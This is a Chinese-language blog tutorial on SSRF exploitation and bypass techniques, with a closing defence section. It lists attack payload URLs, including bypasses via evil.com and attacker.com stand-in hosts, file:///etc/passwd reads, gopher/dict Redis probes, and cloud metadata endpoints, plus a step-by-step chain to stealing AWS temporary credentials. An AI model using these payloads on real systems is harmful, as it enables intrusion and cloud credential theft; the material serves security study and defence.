一、SSRF 漏洞的本质
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。其核心问题在于:应用程序未能对用户可控的 URL 进行充分校验,导致攻击者可以借助服务器身份访问本应无法触达的内网资源、云元数据接口或本地服务。
与传统的 CSRF 不同,SSRF 的“跳板”是服务器本身,因此攻击面往往更深、更隐蔽。一个看似普通的“图片加载”“Webhook 回调”“URL 预览”功能,都可能成为 SSRF 的入口。
二、SSRF 的常见入口点
在实际渗透测试中,以下功能点需要重点关注:
- URL 参数传递:如
?url=、?image=、?callback=、?target=等参数直接接收外部地址。 - 文件导入/导出:从远程 URL 导入数据、导入 RSS 订阅、导入配置。
- Webhook 与回调:第三方支付回调、消息推送、API 网关转发。
- PDF/截图生成:服务端渲染 HTML 为 PDF 或截图时加载外部资源。
- 代理与转发服务:在线翻译、在线代理、图片缓存。
三、内网探测基础
SSRF 最直接的利用方式是对内网进行端口扫描与服务识别。攻击者可以构造如下请求:
http://127.0.0.1:6379/
http://192.168.1.1:8080/
http://10.0.0.1:22/
通过响应时间、状态码、返回内容长度等差异,判断端口是否开放。常见目标包括:
- 6379:Redis 未授权访问
- 3306:MySQL
- 9200:Elasticsearch
- 2375:Docker Remote API
- 8080/8000:内部管理后台
更进一步,可以结合字典对内网网段进行批量探测,绘制内网拓扑。
四、绕过技巧详解
1. 黑名单绕过
许多应用简单地过滤 127.0.0.1、localhost 等关键字,可通过以下方式绕过:
http://127.1/
http://0.0.0.0/
http://[::1]/
http://2130706433/ # 十进制 IP
http://0177.0.0.1/ # 八进制
http://0x7f.0.0.1/ # 十六进制
http://127.0.0.1.nip.io/ # DNS 解析到 127.0.0.1
2. 白名单绕过
若应用要求 URL 必须以特定域名开头,可使用 @ 或 # 进行欺骗:
http://expected.com@evil.com/
http://evil.com#expected.com/
http://expected.com.evil.com/
3. 协议绕过
除 HTTP/HTTPS 外,服务端若支持其他协议,危害会显著放大:
file:///etc/passwd—— 读取本地文件dict://127.0.0.1:6379/info—— 探测 Redisgopher://127.0.0.1:6379/_...—— 构造 Redis 攻击载荷ftp://、ldap://、tftp://—— 协议走私
4. 重定向绕过
利用攻击者控制的服务器返回 302 跳转,将请求重定向至内网地址。应用若只校验初始 URL,便会中招:
http://attacker.com/redirect?to=http://169.254.169.254/
5. DNS Rebinding
通过控制 DNS 解析,使同一域名在两次解析中分别指向外部 IP 和内网 IP,绕过基于域名解析的校验。
五、云元数据窃取
在云环境中,SSRF 的危害被进一步放大。以 AWS EC2 为例,实例元数据服务监听于 169.254.169.254,若 IAM 角色绑定不当,攻击者可直接获取临时凭证:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
返回结果包含 AccessKeyId、SecretAccessKey、Token,攻击者可直接调用 AWS API,实现权限提升与横向移动。
其他云厂商的元数据地址:
- 阿里云:
http://100.100.100.200/latest/meta-data/ - 腾讯云:
http://metadata.tencentyun.com/latest/meta-data/ - GCP:
http://metadata.google.internal/computeMetadata/v1/(需Metadata-Flavor: Google头) - Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01(需Metadata: true头)
对于需要特殊 Header 的云环境,可尝试利用 CRLF 注入或 gopher 协议构造完整请求。
六、实战利用链示例
一个典型的 SSRF 到云凭证窃取链路如下:
- 发现目标站点的图片加载接口存在 SSRF。
- 使用
http://169.254.169.254/latest/meta-data/iam/security-credentials/获取角色名。 - 请求具体角色凭证,拿到临时 AK/SK。
- 配置 AWS CLI,执行
aws s3 ls、aws ec2 describe-instances等命令。 - 根据权限范围,进一步访问 S3 存储桶、数据库或发起横向攻击。
若目标为 Redis 未授权,可通过 gopher 协议写入 SSH 公钥或计划任务,实现远程命令执行。
七、防御建议
- URL 白名单:仅允许访问预先批准的域名和协议,避免使用黑名单。
- 禁用危险协议:仅允许 HTTP/HTTPS,禁止
file、gopher、dict等。 - 统一出口代理:所有外部请求经由代理转发,并在代理层做校验。
- 限制内网访问:通过网络策略禁止应用服务器访问元数据地址和敏感内网段。
- 元数据加固:启用 IMDSv2(需 Token 才能访问),降低 SSRF 直接窃取凭证的风险。
- 响应校验:不将原始响应体直接返回给用户,减少信息泄露。
八、结语
SSRF 看似简单,实则利用方式极为灵活。从内网端口探测到云元数据窃取,其危害程度取决于目标环境的架构与防护水平。对于攻击者而言,绕过技巧的积累是突破防线的关键;对于防御者而言,理解这些绕过手法才能构建真正有效的防护体系。在云原生时代,SSRF 已不再是“低危”漏洞,而是通往核心资产的重要跳板,值得每一位安全从业者高度重视。
未经允许不得转载:任鹏个人博客 » SSRF 漏洞利用与绕过技巧:从内网探测到云元数据窃取

